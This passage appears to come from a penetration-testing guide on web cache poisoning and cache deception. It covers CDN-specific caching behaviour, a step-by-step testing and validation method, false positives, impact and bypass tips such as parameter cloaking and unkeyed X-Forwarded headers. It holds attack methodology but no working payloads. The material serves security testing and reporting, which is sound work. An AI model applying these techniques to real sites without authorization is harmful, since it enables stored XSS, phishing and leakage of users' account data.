CDN-Specific Notes + +- **Cloudflare**: `CF-Cache-Status: HIT/EXPIRED/MISS`; by default caches static extensions and ignores most headers, but custom cache rules can key or ignore specific headers; `Cache-Control: private` and `Set-Cookie` generally stop caching unless overridden +- **Fastly**: `X-Cache`/`X-Served-By`; `Vary` handling is explicit - missing `Vary: Origin` is a classic CORS+poison combo +- **Akamai**: `X-Cache: TCP_HIT`; serial-number headers identify edge; cookie and header keying rules vary by property config +- **Varnish/Nginx**: `X-Cache` via config; `Vary` is honored; `proxy_cache_key` decides what is keyed; `X-Original-URL`/`X-Rewrite-URL` poisoning is common behind Nginx + +## Testing Methodology + +1. **Probe cacheability** - `X-Cache`/`CF-Cache-Status` MISS then HIT on repeat with a cache-buster +2. **Map the key** - vary query params, headers, cookies, body; note which inputs change the cached response +3. **Find unkeyed reflections** - inject into every varying header/param and diff the response +4. **Poison** - craft the request, confirm the poisoned state persists across a cache-buster-free repeat (a second request from a clean session gets the attacker-controlled content) +5. **Deliver** - the poison is delivered when any user (or the app's crawler/OG-fetch) requests the poisoned key; document the delivery path (share URL, social preview, link in email, bot) +6. **Deception** - request sensitive paths with cacheable suffixes and check whether the cache stores and serves the sensitive response + +## Validation + +1. Prove the poisoned response is served to a *different* session (no attacker cookies, clean UA/IP) with `X-Cache: HIT`/`Age` evidence +2. Show the exact unkeyed input, the key it escaped, and the reflected sink +3. For deception: two-account proof that a victim's authenticated response is stored and fetchable by the attacker +4. Reproduce without cache-busters; the final proof must be cache-key-clean + +## False Positives + +- Response changes but is never cached (no HIT for other sessions) - no poisoning possible +- The "unkeyed" header is actually keyed (per-header cache entries) +- Poison only affects the attacker's own cache entry (session-cookie-keyed cache with strong keying) +- No victim delivery path (nobody else can be induced to request the poisoned key) +- Cache deception stores only the attacker's own unauthenticated response (server strips session data for that path) + +## Impact + +- Stored XSS delivered to every visitor of a poisoned page +- Mass phishing via poisoned redirects/login links +- Denial of service via poisoned error pages or resource exhaustion +- Account-data leakage via cache deception of authenticated responses + +## Pro Tips + +1. Use a unique cache-buster per probe so you never confuse app-level changes with cache state; strip it for the final proof +2. Watch `X-Cache` transitions (MISS -> HIT) as ground truth for what is actually stored +3. Test duplicate and case-varied header names; CDNs and origins disagree on which wins +4. Parameter cloaking is the highest-yield modern bypass - test `;`, `#`, `%23`, and duplicate params +5. Pair with `cors_misconfiguration` when `Vary: Origin` is missing, and with `header_injection` for CRLF-based poisoning +6. Report the delivery mechanism, not just the poison - without delivery it is a lower-severity cache issue +7. `Cache-Control: public` on authenticated pages is a deception enabler; flag it even when header-only poisoning fails + +## Summary + +Cache poisoning and deception are cache-key bugs: find what the cache keys, find unkeyed inputs that change the response, poison a shared entry, and prove delivery to another session. Parameter cloaking and unkeyed `X-Forwarded-*` headers are the highest-yield modern paths.